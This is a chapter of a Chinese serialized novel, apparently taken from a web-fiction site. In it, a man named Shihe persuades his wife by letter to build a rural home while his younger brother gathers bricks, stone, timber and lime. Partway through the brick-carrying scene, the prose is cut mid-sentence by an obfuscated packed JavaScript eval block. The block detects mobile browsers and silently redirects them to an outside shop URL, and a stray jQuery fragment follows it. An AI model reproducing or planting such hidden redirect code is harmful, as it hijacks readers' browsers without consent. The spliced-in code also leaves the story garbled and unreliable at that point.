世和没有急于落笔来写信，他前想想后想想，脑袋里不断酝酿着怎样写回信让妻子更容易接受的方法。要让冰玉接受自己的观点，恐怕还需要付出努力。因为沟通很重要，沟通都会，但是有效的沟通不见得都会。这个需要不断提升的，需要受到培训才行。
他到院子里走来走去，看到车间那面墙上画的巨幅宣传画，上面写着：“生命不息战斗不止”，他就要放弃想法，看到这个，他又想再试试看，看能不能说服妻子接受自己的观点。
深秋的风裹着沙砾拍在郭任庄的土墙上，世和蹲在自家院子里，手指无意识地抠着墙缝里干结的泥块。
两个儿子正在院里追逐打闹，十岁的浩怡追着六岁的二柱，笑声撞在低矮的屋檐上又碎成几片。他望着这一幕，喉结滚动着咽下一口酸涩——在这连块青砖都难见的穷村里，三间土坯房要困住两个儿子的一辈子。
天还没亮透，世和就踩着露水往镇上走。裤脚被霜打湿，沉甸甸地坠着。供销社的老吴正在卸门板，见他搓着手往掌心哈气，笑着打趣：“又来瞅铁钉？”世和挠挠头，掏出个皱巴巴的油纸包，里面躺着零散的**票：“老吴，给匀半斤小铁钉，再要捆麻绳。”老吴往秤盘里丢铁钉的当口，他盯着柜台里亮晶晶的铁丝，喉结动了动又别开眼——那玩意儿太贵，得等下月发工资。
午休时分，世和攥着馒头蹲在厂门口的老槐树下。远处工地塔吊轰隆作响，他望着堆成小山的红砖，指甲深深掐进掌心。忽然瞥见墙角有几截废弃的钢筋头，眼睛猛地亮起来。趁着四下无人，他猫着腰把钢筋头塞进帆布兜，心跳声震得耳膜生疼，直到躲进厕所隔间才敢大口喘气。
暮色漫过村庄时，世和背着满满一篓碎砖往家赶。肩膀被竹篾勒出血痕，汗珠顺着脊梁骨往下淌。路过村口老井，看见王婶家新糊的窗纸透出暖黄的光，他加快脚步，鞋底子在碎石路上磨得沙沙响。推开门，浩怡正趴在炕沿写作业，煤油灯芯滋滋作响，二柱蜷在被窝里，鼻尖冻得通红。
“爸，学校要交书本费。”浩怡声音怯生生的。世和从贴身口袋掏出几张**票，指尖触到儿子冰凉的手，喉咙发紧：“省着用，过些日子咱家就有新房了。”夜深人静，他在月光下反复丈量院子，用树枝在地上画着草图，露水浸透裤脚也浑然不觉。
腊月里，世和终于凑齐了石灰。他凌晨三点就起床，把冻成冰坨的石灰块敲碎，兑着河水搅拌。
寒风卷着石灰粉扑在脸上，眼睛被呛得生疼，他用粗布袖子胡乱擦一把，继续抡起木杵。
两个儿子缩在墙角，浩怡往炉子里添柴火，二柱捧着豁口的搪瓷缸给父亲递水，缸沿还沾着未擦净的饭粒。
当第一堵墙勉强立起来时，春燕在枝头叽叽喳喳。世和摸着歪斜的土墙，掌心传来粗糙的触感。这墙用了七成碎砖、三成夯土，掺着他从工地捡来的半截铁丝加固。隔壁张大爷拄着拐杖来看，咂舌道：“世和，你这墙怕是扛不住大雨。”他笑笑不说话，转身又去和泥，汗水滴在新和好的泥浆里，晕开一朵朵深色的花。
日头西斜时，世和站在未完工的房梁下。夕阳把他的影子拉得老长，落在歪歪扭扭的土墙上。浩怡二柱蹲在旁边摆弄泥瓦，笑声混着远处的炊烟飘向天际。他摸了摸口袋里剩下的半块馒头，喉咙发紧——再苦再难，这房子总得支棱起来。
世和考虑再三，从宣传画也看出来，只要生命还在持续，就要不停地战斗。从长远来看，农村的天地更大，发展机会更多，更重要的，可以有饭吃。要想在农村扎根，就必须有房子，有房屋才能乐业，这就叫“安居乐业”。
回到宿舍，世和展开信纸，开始写回信。
信中写道：
“冰玉：
见字如面。近日我反复思量咱们家庭的未来，关于之前提及在农村盖房之事，我有许多心里话想与你倾诉。
你看如今这形势，城市虽看似繁华，但压力如一座大山。在城里生活，住房拥挤不说，物价还高得吓人。每日为了生计奔波，身心俱疲，家庭生活也少了许多温馨与自在。
而咱们农村则大不相同。咱自家有地，可以种粮种菜，吃的都是新鲜无污染的食物，这在城里可是花钱都难买到的。在农村盖房，空间宽敞，孩子们能在院子里尽情玩耍，呼吸着清新的空气，感受大自然的美好。
从长远来看，农村的发展潜力巨大。国家如今也重视农村建设，往后的日子，村里的教育、医疗肯定会逐步改善。咱在农村扎根，一家人团团圆圆，邻里关系亲密，相互照应，这样的生活安稳又踏实，家庭氛围必然和谐稳定。等咱们把房子盖起来，把家好好经营，日子定会越过越红火。
所以，冰玉啊，莫要再对城市抱有不切实际的幻想，咱们就在农村好好生活，这才是对家庭最好的选择。
盼你能理解我的想法，等你回信。
世和
某年某月某日”
写完了回信，世和又看了两遍，然后装进信封，粘贴好邮票，投入邮筒。他的决心已经下了，要在农村建房。
回到宿舍，世和想了想，估计妻子还是想不通，不如先让世平行动起来，让冰玉知道他的决心，所以他很快也将决心建房的信又给世平寄了一封。
世平接到来信，世和在信里让他开始制作土坯，世和为了省钱，只做一半是砖，一半是土坯的墙，这样可以省不少钱。因此，需要的土坯有不少。世平就开始行动了。
在空旷的黄土地上，阳光炽**烘烤着大地。世平的皮肤被晒得黝黑，早已准备好开始制作土坯。
他身旁是一堆精心挑选并翻松过的泥土，旁边还有一桶从附近水源挑来的水。小伙子先将水缓缓倒入泥土堆中，然后挽起裤脚，赤着脚踩进泥里。他的双脚有力地在泥中来回搅动、踩踏，每一步都带着十足的劲道，将水与泥土充分混合均匀。随着他的踩踏，原本松散的泥土逐渐变得细腻且富有粘性，发出“滋滋”的声响。
当泥土的湿度和软硬度恰到好处时，世平拿起旁边早已准备好的土坯模具。那模具是木制的，有些年头却被擦拭得干干净净。他弯下腰，将模具放在一块平整的地面上，然后熟练地捧起一团泥，用力摔进模具里。双手紧接着快速地将泥在模具内压实、抹平，确保每个角落都填充饱满。
做好一块后，他轻轻抬起模具，一块方方正正、带着泥土特有气息的土坯便成型了。小伙子丝毫不停歇，紧接着制作下一块。他的额头上冒出豆大的汗珠，顺着脸颊滑落，滴在新做好的土坯上，溅起微小的泥点。他的后背早已被汗水湿透，衣服紧紧地贴在身上，但他的眼神始终专注而坚定，一心只想多制作些土坯，为哥哥家建房添砖加瓦。因为哥哥不在家，家里能干活的就只有他了，没有第二个人可以依靠。大姐夫二姐夫都有自己一家人，自己家的活儿都干不完，别说给别人家干活了。
经过两三个月的努力，看看土坯堆码的高高的，数一数，差不多够了，接下来就是买红砖了。世和早就将砖钱寄给了世平，世平在砖厂订了货。砖厂说等雨停了就送货上门。果然，雨下了三天后突然放晴了，世平料想今天该送货上门了。
阳光洒在蜿蜒的乡间小路上，一辆拖拉机“突突突”地响着，满载着建房所需的红砖缓缓驶来。路的前方，一条小河沟横亘着，雨后初晴的小河沟的水流虽不湍急，但拖拉机尝试了几次，轮子在湿滑的沟边只是空转，溅起大片泥浆，却怎么也无法顺利通过。
拖拉机只好熄火，跟车的伙计，去郭任庄请世平，世平一听砖车过不来，就骑车去找世华，没想到刚走，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16567897|179808||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
就遇到世华，世华头几天已经知道今天要送货上门，需要帮手，她就来了，碰巧遇到正要去找她的世平。他们两个人来到小河沟。
世华和世平站在一旁，看着被困住的拖拉机，心中明白这些红砖对于家里建房至关重要。姐弟俩对视一眼，没有丝毫犹豫，便走向拖拉机。世平鼓足了劲，他先弯下腰，试图抱起一摞红砖，可红砖沉甸甸的，他涨红了脸，还好抱起来了。姐姐赶忙过来帮忙调整，确保世平能稳稳地背起来。
世华自己也背起了一摞红砖，那重量压在她瘦弱的背上，让她的脚步略显踉跄。她咬了咬牙，率先踏入冰冷的河沟。河底的砂石和坚硬的河底有些滑，世华小心翼翼地探着脚，河水迅速浸湿了她的裤脚，凉意直往上窜。世平紧跟其后，眼睛紧紧盯着脚下，嘴里还念叨着给自己打气的话。
他们一步一步艰难地在河沟里挪动，每走一步都要花费很大的力气来保持平衡，防止红砖掉落。背上的砖随着步伐相互碰撞，发出“哐哐”的声响。好不容易到了对岸，他俩将红砖轻轻放在地上，直起身子，大口大口地喘着气。
稍作休息后，他们又转身返回继续背砖。一趟又一趟，他们的身影在河沟两岸来回穿梭，额头上的汗水不停地滚落，混合着河沟里溅起的水珠，打湿了他们的衣衫。直到所有的红砖都被背过河沟，他俩才疲惫地坐在地上。此时，拖拉机再次启动，拉着这些承载着希望的红砖向着家的方向驶去。
在那个物资相对匮乏的年代，世平为了帮哥哥建起一座房子，独自扛起了筹备建筑材料的重担，踏上了一段充满艰辛的征程。
天还未亮，世平便匆匆起身，背着破旧的背篓，手持一把有些年头的铁镐，向着村子后面那座小山走去。山上的石头是建房所需的重要材料，他要赶在烈日当空之前，多开采一些。山路崎岖难行，世平深一脚浅一脚地攀爬着，脚下的草鞋早已磨得破旧不堪，却也顾不上。到达采石点后，他挥起铁镐，一下又一下地砸向坚硬的石块。每一次挥动，都伴随着手臂的酸痛与颤抖，可他的眼神中没有丝毫退缩。碎石不断崩落，他的脸上也被溅起的石屑划伤，汗水淌过伤口，刺痛阵阵传来，他只是简单地用衣袖擦一擦，又继续埋头苦干。
采好石头后，运输又是一大难题。世平只能将石头一块一块地装进背篓，沉重的石头压得他的脊背弯曲，每走一步都仿佛要耗尽全身的力气。他沿着蜿蜒的山路缓慢下行，脚步踉跄，却咬着牙坚持，生怕一个不小心就会摔倒，前功尽弃。
除了石头，木材也是必不可少的。世平走进茂密的树林，寻找合适的树木。他在树林中穿梭，仔细地挑选着，手中的锯子在寂静的树林里发出“吱呀吱呀”的声响。锯树时，他的手臂肌肉紧绷，由于缺乏帮手，他只能独自承受着反作用力，身体随着锯子的拉动来回晃动，累得气喘吁吁。将树木锯倒后，他还要费力地把木材拖到空旷处，再一根根扛回家。粗糙的木材在他的肩膀上磨出了一道道血痕，他却浑然不觉。
为了获取石灰，世平又在村子附近的石灰窑忙碌起来。窑内高温难耐，他的衣服被汗水湿透，紧紧地贴在身上，又被烘干，留下一圈圈白色的汗渍。他在窑中一待就是一整天，忍受着酷热与刺鼻的气味，小心翼翼地烧制石灰，稍有不慎就可能前功尽弃。
世平就这样日复一日地忙碌着，没有人为他分担这份辛苦，他就像一个孤独的战士，在为世和建房的战场上默默奋斗着。每一份建房材料都凝聚着他的心血与汗水，他用自己的坚韧和毅力，在那个艰难的年代，努力为哥哥的家撑起一片希望的天空。
建筑材料准备完成后，他写信给世和，说了建房筹备的情况，世和看了来信，非常开心，就向领导请假，要回家盖房子。